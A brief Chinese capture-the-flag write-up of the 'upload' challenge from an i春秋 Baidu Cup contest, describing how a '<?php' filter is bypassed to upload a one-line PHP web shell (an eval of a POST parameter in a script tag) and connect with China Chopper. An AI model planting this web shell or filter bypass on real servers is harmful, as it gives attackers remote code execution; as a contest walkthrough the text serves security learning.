i春秋 | 「百度杯」CTF比賽 九月場 | upload

upload題目 步驟 1、看看題目，人家多敞亮，想傳啥文件就傳啥，那我也不客氣了，一句話走起 2、就知道不會這麼善良 很明顯他把我的’<?php’給過濾了 3、想辦法繞過：<script language="pHp">@eval($_POST['a'])</script>之所以大寫H是因爲php被過濾掉了 4、確認上傳成功，接下來連菜刀，找flag 福利 我在找資料的時候看見的一些木馬，大家一起

>>阅读原文<<